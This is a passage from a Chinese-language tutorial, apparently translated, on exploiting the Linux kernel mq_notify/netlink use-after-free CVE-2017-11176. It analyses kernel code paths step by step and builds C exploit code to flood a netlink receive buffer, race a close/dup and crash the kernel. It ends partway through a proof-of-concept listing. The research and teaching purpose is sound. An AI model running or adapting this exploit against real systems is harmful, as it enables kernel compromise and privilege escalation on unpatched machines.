linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)

使第二次循环中的fget()返回NULL

到目前为止,在用户态下满足了触发漏洞的三个条件之一。TODO:

使netlink_attachskb()返回1

[DONE]exp线程解除阻塞

使第二次fget()调用返回NULL

在本节中,将尝试使第二次fget()调用返回NULL。这会使得在第二个循环期间跳到“退出路径”:

retry:

filp = fget(notification.sigev_signo);

if (!filp) {

ret = -EBADF;

goto out; //

}

为什么fget()会返回NULL?

通过System Tap,可以看到重置FDT中的对应文件描述符会使得fget()返回NULL:

struct files_struct *files = current->files;

struct fdtable *fdt = files_fdtable(files);

fdt->fd[3] = NULL; // makes the second call to fget() fails

fget()的作用:

检索当前进程的“struct files_struct”

在files_struct中检索“struct fdtable”

获得“fdt->fd[fd]”的值(一个“struct file”指针)

“struct file”的引用计数(如果不为NULL)加1

返回“struct file”指针

简而言之,如果特定文件描述符在FDT中为NULL,则fget()返回NULL。

NOTE:如果不记得所有这些结构之间的关系,请参考Core Concept#1。

重置文件描述符表中的条目

在stap脚本中,重置了文件描述符“3”的fdt条目(参见上一节)。怎么在用户态下做到这点?如何将FDT条目设置为NULL?答案:close()系统调用。

这是一个简化版本(没有锁也没有出错处理):

// [fs/open.c]

SYSCALL_DEFINE1(close, unsigned int, fd)

{

struct file * filp;

struct files_struct *files = current->files;

struct fdtable *fdt;

int retval;

[0] fdt = files_fdtable(files);

[1] filp = fdt->fd[fd];

[2] rcu_assign_pointer(fdt->fd[fd], NULL); // fd[fd] = NULL

[3] retval = filp_close(filp, files);

return retval;

}

close()系统调用:

[0] - 检索当前进程的FDT

[1] - 检索FDT中与fd关联的struct file指针

[2] - 将FDT对应条目置为NULL(无条件)

[3] - 文件对象删除引用(即调用fput())

我们有了一个简单的方法(无条件地)重置FDT条目。然而,它带来了另一个问题......

先有蛋还是先有鸡问题

在unblock_thread线程调用setsockopt()之前调用close()非常诱人。问题是setsockopt()需要一个有效的文件描述符!已经通过system tap尝试过。在用户态下同样遇到了这个问题......

在调用setsocktopt()之后再调用close()会怎么样?如果我们在调用setsockopt()(解除主线程阻塞)之后再调用close(),窗口期就会很小。

幸运的是有一种方法!在Core Concept#1中,已经说过文件描述符表不是1:1映射。几个文件描述符可能指向同一个文件对象。如何使两个文件描述符指向相同的文件对象?dup()系统调用。

// [fs/fcntl.c]

SYSCALL_DEFINE1(dup, unsigned int, fildes)

{

int ret = -EBADF;

[0] struct file *file = fget(fildes);

if (file) {

[1] ret = get_unused_fd();

if (ret >= 0)

[2] fd_install(ret, file); // files->fdt->fd[ret] = file

else

fput(file);

}

[3] return ret;

}

dup()完全符合要求:

[0] - 根据文件描述符获取相应的struct file指针。

[1] - 选择下一个“未使用/可用”的文件描述符。

[2] - 设置fdt中新文件描述符([1]处获得)对应条目为相应struct file指针([0]处获得)。

[3] - 返回新的fd。

最后,我们将有两个文件描述符指向相同文件对象:

sock_fd:在mq_notify()和close()使用

unblock_fd:在setsockopt()中使用

更新exp

更新exp(添加close/dup调用并修改setsockopt()参数):

struct unblock_thread_arg

{

int sock_fd;

int unblock_fd; //

bool is_ready;

};

static void* unblock_thread(void *arg)

{

// ... cut ...

sleep(5); // gives some time for the main thread to block

printf("[unblock] closing %d fd\n", uta->sock_fd);

_close(uta->sock_fd); //

printf("[unblock] unblocking now\n");

if (_setsockopt(uta->unblock_fd, SOL_NETLINK, //

NETLINK_NO_ENOBUFS, &val, sizeof(val)))

perror("setsockopt");

return NULL;

}

int main(void)

{

// ... cut ...

if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) //

{

perror("dup");

goto fail;

}

printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);

// ... cut ...

}

删除stap脚本中重置FDT条目的行,然后运行:

-={ CVE-2017-11176 Exploit }=-

[main] netlink socket created = 3

[main] netlink fd duplicated = 4

[main] creating unblock thread...

[main] unblocking thread has been created!

[main] get ready to block

[unblock] closing 3 fd

[unblock] unblocking now

mq_notify: Bad file descriptor

exploit failed!

<<< KERNEL CRASH >>>

ALERT COBRA:第一次内核崩溃!释放后重用。

崩溃的原因将在第3部分中进行研究。

长话短说:由于调用了dup(),调用close()不会真的释放netlink_sock对象(只是减少了一次引用)。netlink_detachskb()实际上删除netlink_sock的最后一个引用(并释放它)。最后,在程序退出期间触发释放后重用,退出时关闭“unblock_fd”文件描述符。

“retry”路径

这节会展开部分内核代码。现在距离完整的PoC只有一步之遥。

TODO:

使netlink_attachskb()返回1

[DONE]exp线程解除阻塞

[DONE]使第二次fget()调用返回NULL

为了执行到retry路径,需要netlink_attachskb()返回1,必须要满足第一个条件并解除线程阻塞(已经做到了):

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,

long *timeo, struct sock *ssk)

{

struct netlink_sock *nlk;

nlk = nlk_sk(sk);

[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))

{

// ... cut ...

return 1;

}

// normal path

return 0;

}

如果满足以下条件之一,则条件[0]为真::

sk_rmem_alloc大于sk_rcvbuf

nlk->state最低有效位不为0。

目前通过stap脚本设置“nlk->state”的最低有效位:

struct sock *sk = (void*) STAP_ARG_arg_sock;

struct netlink_sock *nlk = (void*) sk;

nlk->state |= 1;

但是将套接字状态标记为“拥塞”(最低有效位)比较麻烦,只有内核态下内存分配失败才会设置这一位。这会使系统进入不稳定状态。

相反,将尝试增加sk_rmem_alloc的值,该值表示sk的接收缓冲区“当前”大小。

填充接收缓冲区

在本节中,将尝试满足第一个条件,即“接收缓冲区已满?”:

atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf

struct sock(在netlink_sock中)具有以下字段:

sk_rcvbuf:接收缓冲区“理论上”最大大小(以字节为单位)

sk_rmem_alloc:接收缓冲区的“当前”大小(以字节为单位)

sk_receive_queue:“skb”双链表(网络缓冲区)

NOTE:sk_rcvbuf是“理论上的”,因为接收缓冲区的“当前”大小实际上可以大于它。

在使用stap(第1部分)输出netlink sock结构时,有:

- sk->sk_rmem_alloc = 0

- sk->sk_rcvbuf = 133120

有两种方法使这个条件成立:

将sk_rcvbuf减小到0以下(sk_rcvbuf是整型(在我们使用的内核版本中))

将sk_rmem_alloc增加到133120字节大小以上

减少sk_rcvbuf

sk_rcvbuf在所有sock对象中通用,可以通过sock_setsockopt修改(使用SOL_SOCKET参数):

// from [net/core/sock.c]

int sock_setsockopt(struct socket *sock, int level, int optname,

char __user *optval, unsigned int optlen)

{

struct sock *sk = sock->sk;

int val;

// ... cut ...

case SO_RCVBUF:

[0] if (val > sysctl_rmem_max)

val = sysctl_rmem_max;

set_rcvbuf:

sk->sk_userlocks |= SOCK_RCVBUF_LOCK;

[1] if ((val * 2) < SOCK_MIN_RCVBUF)

sk->sk_rcvbuf = SOCK_MIN_RCVBUF;

else

sk->sk_rcvbuf = val * 2;

break;

// ... cut (other options handling) ...

}

当看到这种类型的代码时,要注意每个表达式的类型。

NOTE:“有符号/无符号类型混用”可能存在许多漏洞,将较大的类型(u64)转换成较小的类型(u32)时也是如此。这通常会导致整型溢出或类型转换问题。

在我们使用的内核中有:

sk_rcvbuf:int

val:int

sysctl_rmem_max:__u32

SOCK_MIN_RCVBUF:由于“sizeof()”而“转变”为size_t

SOCK_MIN_RCVBUF定义:

#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))

通常有符号整型与无符号整型混合使用时,有符号整型会转换成无符号整型。

假设“val”为负数。在[0]处,会被转换为无符号类型(因为sysctl_rmem_max类型为“__u32”)。val会被置为sysctl_rmem_max(负数转换成无符号数会很大)。

即使“val”没有被转换为“__u32”,也不会满足第二个条件[1]。最后被限制在[SOCK_MIN_RCVBUF,sysctl_rmem_max]之间(不是负数)。所以只能修改sk_rmem_alloc而不是sk_rcvbuf字段。

回到“正常”路径

现在是时候回到自开始以来一直忽略的东西:mq_notify()“正常”路径。从概念上讲,当套接字接收缓冲区已满时执行“retry路径”,那么正常情况下可能会填充接收缓冲区。

netlink_attachskb():

int netlink_attachskb(struct sock *sk, struct sk_buff *skb,

long *timeo, struct sock *ssk)

{

struct netlink_sock *nlk;

nlk = nlk_sk(sk);

if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {

// ... cut (retry path) ...

}

skb_set_owner_r(skb, sk); //

return 0;

}

因此,正常情况下会调用skb_set_owner_r():

static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)

{

WARN_ON(skb->destructor);

__skb_orphan(skb);

skb->sk = sk;

skb->destructor = sock_rfree;

[0] atomic_add(skb->truesize, &sk->sk_rmem_alloc); // sk->sk_rmem_alloc += skb->truesize

sk_mem_charge(sk, skb->truesize);

}

skb_set_owner_r()中会使sk_rmem_alloc增加skb->truesize。那么可以多次调用mq_notify()直到接收缓冲区已满?不幸的是不能这样做。

在mq_notify()的正常执行过程中,会一开始就创建一个skb(称为“cookie”),并通过netlink_attachskb()将其附加到netlink_sock,已经介绍过这部分内容。然后netlink_sock和skb都关联到属于消息队列的“mqueue_inode_info”(参考mq_notify的正常路径)。

问题是一次只能有一个(cookie)“skb”与mqueue_inode_info相关联。第二次调用mq_notify()将会失败并返回“-EBUSY”错误。只能增加sk_rmem_alloc一次(对于给定的消息队列),并不足以(只有32个字节)使它大于sk_rcvbuf。

实际上可能可以创建多个消息队列,有多个mqueue_inode_info对象并多次调用mq_notify()。或者也可以使用mq_timedsend()系统调用将消息推送到队列中。只是不想在这里研究另一个子系统(mqueue),并且坚持使用“通用的”内核路径(sendmsg),所以我们不会这样做。

可以通过skb_set_owner_r()增加sk_rmem_alloc。

netlink_unicast()

netlink_attachskb()可能会通过调用skb_set_owner_r()增加sk_rmem_alloc。netlink_attachskb()函数可以由netlink_unicast()调用。让我们做一个自底向上的分析来检查如何系统调用到netlink_unicast():

- skb_set_owner_r

- netlink_attachskb

- netlink_unicast

- netlink_sendmsg // there is a lots of "other" callers of netlink_unicast

- sock->ops->sendmsg()

- __sock_sendmsg_nosec()

- __sock_sendmsg()

- sock_sendmsg()

- __sys_sendmsg()

- SYSCALL_DEFINE3(sendmsg, ...)

因为netlink_sendmsg()是netlink套接字的proto_ops(核心概念#1),所以可以通过sendmsg()调用它。

从sendmsg()系统调用到sendmsg的proto_ops(sock->ops->sendmsg())的通用代码路径将在第3部分中详细介绍。现在先假设可以很轻易调用netlink_sendmsg()。

从netlink_sendmsg()到netlink_unicast()

sendmsg()系统调用声明:

size_t sendmsg (int sockfd , const struct msghdr * msg , int flags );

在msg和flags参数中设置对应值从而调用netlink_unicast();

struct msghdr {

void *msg_name; /* optional address */

socklen_t msg_namelen; /* size of address */

struct iovec *msg_iov; /* scatter/gather array */

size_t msg_iovlen; /* # elements in msg_iov */

void *msg_control; /* ancillary data, see below */

size_t msg_controllen; /* ancillary data buffer len */

int msg_flags; /* flags on received message */

};

struct iovec

{

void __user *iov_base;

__kernel_size_t iov_len;

};

在本节中,将从代码推断参数值,并逐步建立我们的“约束”列表。这样做会使内核执行我们想要的路径。这就是内核漏洞利用的本质。在函数的末尾处才会调用netlink_unicast()。需要满足所有条件......

static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,

struct msghdr *msg, size_t len)

{

struct sock_iocb *siocb = kiocb_to_siocb(kiocb);

struct sock *sk = sock->sk;

struct netlink_sock *nlk = nlk_sk(sk);

struct sockaddr_nl *addr = msg->msg_name;

u32 dst_pid;

u32 dst_group;

struct sk_buff *skb;

int err;

struct scm_cookie scm;

u32 netlink_skb_flags = 0;

[0] if (msg->msg_flags&MSG_OOB)

return -EOPNOTSUPP;

[1] if (NULL == siocb->scm)

siocb->scm = &scm;

err = scm_send(sock, msg, siocb->scm, true);

[2] if (err < 0)

return err;

// ... cut ...

err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT); //

out:

scm_destroy(siocb->scm);

return err;

}

不设置MSG_OOB标志以满足[0]处条件。这是第一个约束:msg->msg_flags没有设置MSG_OOB。

[1]处的条件为真,因为在__sock_sendmsg_nosec()中会将“siocb->scm”置为NULL。最后,scm_send()返回值非负[2],代码:

static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,

struct scm_cookie *scm, bool forcecreds)

{

memset(scm, 0, sizeof(*scm));

if (forcecreds)

scm_set_cred(scm, task_tgid(current), current_cred());

unix_get_peersec_dgram(sock, scm);

if (msg->msg_controllen <= 0) //

return 0; //

return __scm_send(sock, msg, scm);

}

第二个约束:msg->msg_controllen等于零(类型为size_t,没有负值)。

继续:

// ... netlink_sendmsg() continuation ...

[0] if (msg->msg_namelen) {

err = -EINVAL;

[1] if (addr->nl_family != AF_NETLINK)

goto out;

[2a] dst_pid = addr->nl_pid;

[2b] dst_group = ffs(addr->nl_groups);

err = -EPERM;

[3] if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))

goto out;

netlink_skb_flags |= NETLINK_SKB_DST;

} else {

dst_pid = nlk->dst_pid;

dst_group = nlk->dst_group;

}

// ... cut ...

这个有点棘手。这块代码取决于“sender”套接字是否已连接到目标(receiver)套接字。如果已连接,则“nlk->dst_pid”和“nlk->dst_group”都已被赋值。但是这里不想连接到receiver套接字(有副作用),所以会采取第一个分支。msg->msg_namelen不为零[0]。

看一下函数的开头部分,“addr”是另一个可控的参数:msg->msg_name。通过[2a]和[2b],可以选择任意的“dst_group”和“dst_pid”。控制这些可以做到:

dst_group == 0:发送单播消息而不是广播(参考man 7 netlink)

dst_pid!= 0:与我们选择的receiver套接字(用户态)通信。0代表“与内核通信”(阅读手册!)。

将其转换成约束条件(msg_name被转换为sockaddr_nl类型):

msg->msg_name->dst_group 等于零

msg->msg_name->dst_pid 等于“目标”套接字的nl_pid

这里还有一个隐含的条件是netlink_allowed(sock,NL_NONROOT_SEND) [3]返回非零值:

static inline int netlink_allowed(const struct socket *sock, unsigned int flag)

{

return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));

}

因为运行exp的用户是非特权用户,所以没有CAP_NET_ADMIN。唯一设置了“NL_NONROOT_SEND”标志的“netlink协议”是NETLINK_USERSOCK。所以“sender”套接字必须具有NETLINK_USERSOCK协议。

另外[1],需要使msg->msg_name->nl_family等于AF_NETLINK。

继续:

[0] if (!nlk->pid) {

[1] err = netlink_autobind(sock);

if (err)

goto out;

}

无法控制[0]处的条件,因为在套接字创建期间,套接字的pid会被设置为零(整个结构体由sk_alloc()清零)。后面会讨论这点,现在先假设netlink_autobind() [1]会为sender套接字找到“可用”的pid并且不会出错。在第二次调用sendmsg()时将不满足条件[0],此时已经设置“nlk->pid”。继续:

err = -EMSGSIZE;

[0] if (len > sk->sk_sndbuf - 32)

goto out;

err = -ENOBUFS;

skb = alloc_skb(len, GFP_KERNEL);

[1] if (skb == NULL)

goto out;

“len”在__sys_sendmsg()中计算。这是“所有iovec长度的总和”。因此,所有iovecs的长度总和必须小于sk->sk_sndbuf减去32[0]。为了简单起见,将使用单个iovec:

msg->msg_iovlen等于1 //单个iovec

msg->msg_iov->iov_len小于等于sk->sk_sndbuf减去32

msg->msg_iov->iov_base必须是用户空间可读 //否则__sys_sendmsg()将出错

最后一个约束意味着msg->msg_iov也必须指向用户空间可读区域(否则__sys_sendmsg()将出错)。

NOTE:“sk_sndbuf”等同于“sk_rcvbuf”但指的是发送缓冲区。可以通过sock_getsockopt()“SO_SNDBUF”参数获得它的值。

[1]处的条件不应该为真。如果为真,则意味着内核当前耗尽了内存并且处于对exp来说很糟的状态。不应该继续执行exp,否则很可能会失败,更糟的是会内核崩溃!

可以忽略下一个代码块(不需要满足任何条件),“siocb->scm”结构体由scm_send()初始化:

NETLINK_CB(skb).pid = nlk->pid;

NETLINK_CB(skb).dst_group = dst_group;

memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));

NETLINK_CB(skb).flags = netlink_skb_flags;

继续:

err = -EFAULT;

[0] if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {

kfree_skb(skb);

goto out;

}

[0]处的检查不会有问题,已经提供可读的iovec,否则之前的__sys_sendmsg()就已经出错(前一个约束)。

[0] err = security_netlink_send(sk, skb);

if (err) {

kfree_skb(skb);

goto out;

}

Linux安全模块(LSM,例如SELinux)检查。如果无法满足此条件,那就需要找另一条路径来执行netlink_unicast()或另一种方法来增加“sk_rmem_alloc”(提示:也许可以尝试netlink_dump())。假设在目标机器上满足此条件。

最后:

[0] if (dst_group) {

atomic_inc(&skb->users);

netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);

}

[1] err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

还记得之前将“dst_group”赋值为"msg->msg_name->dst_group"吧。由于它为零,将跳过[0]处代码... 最后调用netlink_unicast()!

总结一下从netlink_sendmsg()执行到netlink_unicast()所要满足的条件:

msg->msg_flags没有设置MSG_OOB

msg->msg_controllen等于0

msg->msg_namelen不为0

msg->msg_name->nl_family等于AF_NETLINK

msg->msg_name->nl_groups等于0

msg->msg_name->nl_pid不为0,指向receiver套接字

sender套接字必须使用NETLINK_USERSOCK协议

msg->msg_iovlen等于1

msg->msg_iov是一个可读的用户态地址

msg->msg_iov->iov_len小于等于sk_sndbuf减32

msg->msg_iov->iov_base是一个可读的用户态地址

这是内核漏洞利用的部分过程。分析每个检查,强制执行特定的内核路径,定制系统调用参数等。实际上,建立此约束条件列表的时间并不长。有些路径比这更复杂。

继续前进,下一步是netlink_attachskb()。

从netlink_unicast()到netlink_attachskb()

这个应该比前一个更容易。通过以下参数调用netlink_unicast():

netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

sk是sender套接字

skb是套接字缓冲区,由msg->msg_iov->iov_base指向的数据填充,大小为msg->msg_iov->iov_len

dst_pid是可控的pid(msg->msg_name->nl_pid)指向receiver套接字

msg->msg_flasg&MSG_DONTWAIT表示netlink_unicast()是否应阻塞

WARNING:在netlink_unicast()代码中,“ssk”是sender套接字,“sk”是receiver套接字。

netlink_unicast()代码:

int netlink_unicast(struct sock *ssk, struct sk_buff *skb,

u32 pid, int nonblock)

{

struct sock *sk;

int err;

long timeo;

skb = netlink_trim(skb, gfp_any()); //

[0] timeo = sock_sndtimeo(ssk, nonblock);

retry:

[1] sk = netlink_getsockbypid(ssk, pid);

if (IS_ERR(sk)) {

kfree_skb(skb);

return PTR_ERR(sk);

}

[2] if (netlink_is_kernel(sk))

return netlink_unicast_kernel(sk, skb, ssk);

[3] if (sk_filter(sk, skb)) {

err = skb->len;

kfree_skb(skb);

sock_put(sk);

return err;

}

[4] err = netlink_attachskb(sk, skb, &timeo, ssk);

if (err == 1)

goto retry;

if (err)

return err;

[5] return netlink_sendskb(sk, skb);

}

在[0]处,sock_sndtimeo()根据nonblock参数设置timeo(超时)的值。由于我们不想阻塞(nonblock>0),timeo将为零。msg->msg_flags必须设置MSG_DONTWAIT。

在[1]处,根据pid获得receiver套接字“sk”。在下一节中会有说明,在通过netlink_getsockbypid()获得receiver套接字之前需要先将其绑定。

在[2]处,receiver套接字不能是“内核”套接字。如果一个netlink套接字 设置了NETLINK_KERNEL_SOCKET标志,则它被标记为“内核”套接字,这些套接字通过netlink_kernel_create()函数创建。不幸的是,NETLINK_GENERIC协议就是其中之一。所以需要将receiver套接字协议更改为NETLINK_USERSOCK。

在[3]处,BPF套接字过滤器可能正在生效。但如果没有为receiver套接字创建任何BPF过滤器,则可以不用管它。

在[4]处调用了netlink_attachskb()!在netlink_attachskb()中,确保执行下列路径之一:

receiver缓冲区未满:调用skb_set_owner_r() -> 增加sk_rmem_alloc

receiver缓冲区已满:netlink_attachskb()不阻塞直接返回-EAGAIN

可以知道何时接收缓冲区已满(只需要检查sendmsg()的错误代码)。

最后,在[5]处调用netlink_sendskb()将skb添加到接收缓冲区列表中,并删除通过netlink_getsockbypid()获取的(receiver套接字)引用。好极了!:-)

更新约束列表:

msg->msg_flags设置MSG_DONTWAIT

receiver套接字必须在调用sendmsg()之前绑定

receiver套接字必须使用NETLINK_USERSOCK协议

不要为receiver套接字定义任何BPF过滤器

现在非常接近完整的PoC。只要绑定receiver套接字就好了。

绑定receiver套接字

与任何套接字通信一样,两个套接字可以使用“地址”进行通信。由于正在使用netlink套接字,在这里将使用“struct sockaddr_nl”类型:

struct sockaddr_nl {

sa_family_t nl_family; /* AF_NETLINK */

unsigned short nl_pad; /* Zero. */

pid_t nl_pid; /* Port ID. */

__u32 nl_groups; /* Multicast groups mask. */

};

由于不想成为“广播组”的一部分,因此nl_groups必须为0。这里唯一重要的字段是“nl_pid”。

基本上,netlink_bind()有两条路径:

nl_pid不为0:调用netlink_insert()

nl_pid为0:调用netlink_autobind(),后者又调用netlink_insert()

如果使用已分配的pid调用netlink_insert()将产生“-EADDRINUSE”错误。否则会在nl_pid和netlink套接字 之间创建映射关系。即现在可以通过netlink_getsockbypid()获得netlink套接字。此外,netlink_insert()会将套接字引用计数加1。在最后的PoC中这一点很重要。

NOTE:第4部分将详细介绍“pid:netlink_sock”映射存储方式。

虽然调用netlink_autobind()更自然一点,但我们实际上是通过不断尝试pid值(autobind的作用,找当前未使用的pid值)来模拟netlink_autobind功能(不知道为什么这样做...主要是懒...),直到bind()成功。这样做允许我们直接获取目标nl_pid值而不调用getsockname(),并且(可能)简化调试(不确定:-))。

译者注:本来应该nl_pid为0,然后调用bind的,但原文作者直接设置nl_pid为118然后不断递增尝试bind(),直到成功。netlink_autobind应该会获取当前未使用的pid值。

整合

确定所有执行路径花了很长时间,但现在是时候在exp中实现这一部分并最终达成目标:netlink_attachskb()返回1!

步骤:

创建两个AF_NETLINK套接字使用NETLINK_USERSOCK协议

绑定目标(receiver)套接字(最后它的接收缓冲区必须已满)

[可选]尝试减少目标套接字的接收缓冲区(减少调用sendmsg())

sender套接字通过sendmsg()像目标套接字发送大量数据,直到返回EAGAIN错误

关闭sender套接字(不再需要)

可以独立运行下面代码以验证一切正常:

static int prepare_blocking_socket(void)

{

int send_fd;

int recv_fd;

char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()

int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

struct sockaddr_nl addr = {

.nl_family = AF_NETLINK,

.nl_pad = 0,

.nl_pid = 118, // must different than zero

.nl_groups = 0 // no groups

};

struct iovec iov = {

.iov_base = buf,

.iov_len = sizeof(buf)

};

struct msghdr mhdr = {

.msg_name = &addr,

.msg_namelen = sizeof(addr),

.msg_iov = &iov,

.msg_iovlen = 1,

.msg_control = NULL,

.msg_controllen = 0,

.msg_flags = 0,

};

printf("[ ] preparing blocking netlink socket\n");

if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||

(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)

{

perror("socket");

goto fail;

}

printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

// simulate netlink_autobind()

while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))

{

if (errno != EADDRINUSE)

{

perror("[-] bind");

goto fail;

}

addr.nl_pid++;

}

printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))

perror("[-] setsockopt"); // no worry if it fails, it is just an optim.

else

printf("[+] receive buffer reduced\n");

printf("[ ] flooding socket\n");

while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0) //

;

if (errno != EAGAIN) //

{

perror("[-] sendmsg");

goto fail;

}

printf("[+] flood completed\n");

_close(send_fd);

printf("[+] blocking socket ready\n");

return recv_fd;

fail:

printf("[-] failed to prepare block socket\n");

return -1;

}

通过system tap检查结果。从现在开始,System Tap仅用于观察内核,不再修改任何内容。请记得删除将套接字标记为阻塞的行,然后运行:

(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)

(2768-2768) [uland] ==>> copy_from_user ()

(2768-2768) [uland] ==>> copy_from_user ()

(2768-2768) [uland] ==>> copy_from_user ()

(2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800)

(socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1

(2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)

(2768-2768) [netlink] <<== netlink_autobind = 0

(2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)

(2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)

(2768-2768) [skb] <<== skb_put = ffff880006150000

(2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800)

(2768-2768) [uland] ==>> copy_from_user ()

(2768-2768) [iovec] <<== memcpy_fromiovec = 0

(2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40)

(2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)

(2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)

(2768-2768) [sk] <<== sk_filter = 0

(2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff880006173c00)

-={ dump_netlink_sock: 0xffff88002f89ac00 }=-

- sk = 0xffff88002f89ac00

- sk->sk_rmem_alloc = 0 //

- sk->sk_rcvbuf = 2312 //

- sk->sk_refcnt = 3

- nlk->state = 0

- sk->sk_flags = 100

-={ dump_netlink_sock: END}=-

(2768-2768) [netlink] <<== netlink_attachskb = 0

-={ dump_netlink_sock: 0xffff88002f89ac00 }=-

- sk = 0xffff88002f89ac00

- sk->sk_rmem_alloc = 10504 //

- sk->sk_rcvbuf = 2312 //

- sk->sk_refcnt = 3

- nlk->state = 0

- sk->sk_flags = 100

-={ dump_netlink_sock: END}=-

(2768-2768) [netlink] <<== netlink_unicast = 2800

(2768-2768) [netlink] <<== netlink_sendmsg = 2800

(2768-2768) [SYSCALL] <<== sendmsg= 10240

现在满足了“接收缓冲区已满”的条件(sk_rmem_alloc>sk_rcvbuf)。下一次调用mq_attachskb()将返回1!

更新TODO列表:

[DONE]使netlink_attachskb()返回1

[DONE]exp线程解除阻塞

[DONE]使第二次fget()调用返回NULL

全部做完了?还差一点...

最终PoC

在最后三节中,编写用户态代码实现了触发漏洞所需的每个条件。在展示最终的PoC之前,还有一件事要做。

netlink_insert()会增加套接字引用计数,所以在进入mq_notify()之前,套接字引用计数为2(而不是1),所以需要触发漏洞两次!

在触发漏洞之前,通过dup()产生新的fd来解锁主线程。需要dup()两次(因为旧的会被关闭),所以最后可以保持一个fd解除阻塞,另一个fd来触发漏洞。

"Show me the code!"

最终PoC(不要运行system tap):

/*

* CVE-2017-11176 Proof-of-concept code by LEXFO.

*

* Compile with:

*

* gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit

*/

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

#define NOTIFY_COOKIE_LEN (32)

#define SOL_NETLINK (270) // from [include/linux/socket.h]

// ----------------------------------------------------------------------------

// avoid library wrappers

#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)

#define _setsockopt(sockfd, level, optname, optval, optlen) \

syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)

#define _getsockopt(sockfd, level, optname, optval, optlen) \

syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)

#define _dup(oldfd) syscall(__NR_dup, oldfd)

#define _close(fd) syscall(__NR_close, fd)

#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)

#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \

do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

// ============================================================================

// ----------------------------------------------------------------------------

// ============================================================================

struct unblock_thread_arg

{

int sock_fd;

int unblock_fd;

bool is_ready; // we can use pthread barrier instead

};

// ----------------------------------------------------------------------------

static void* unblock_thread(void *arg)

{

struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;

int val = 3535; // need to be different than zero

// notify the main thread that the unblock thread has been created. It *must*

// directly call mq_notify().

uta->is_ready = true;

sleep(5); // gives some time for the main thread to block

printf("[ ][unblock] closing %d fd\n", uta->sock_fd);

_close(uta->sock_fd);

printf("[ ][unblock] unblocking now\n");

if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))

perror("[+] setsockopt");

return NULL;

}

// ----------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)

{

pthread_t tid;

struct sigevent sigev;

struct unblock_thread_arg uta;

char sival_buffer[NOTIFY_COOKIE_LEN];

// initialize the unblock thread arguments

uta.sock_fd = sock_fd;

uta.unblock_fd = unblock_fd;

uta.is_ready = false;

// initialize the sigevent structure

memset(&sigev, 0, sizeof(sigev));

sigev.sigev_notify = SIGEV_THREAD;

sigev.sigev_value.sival_ptr = sival_buffer;

sigev.sigev_signo = uta.sock_fd;

printf("[ ] creating unblock thread...\n");

if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)

{

perror("[-] pthread_create");

goto fail;

}

while (uta.is_ready == false) // spinlock until thread is created

;

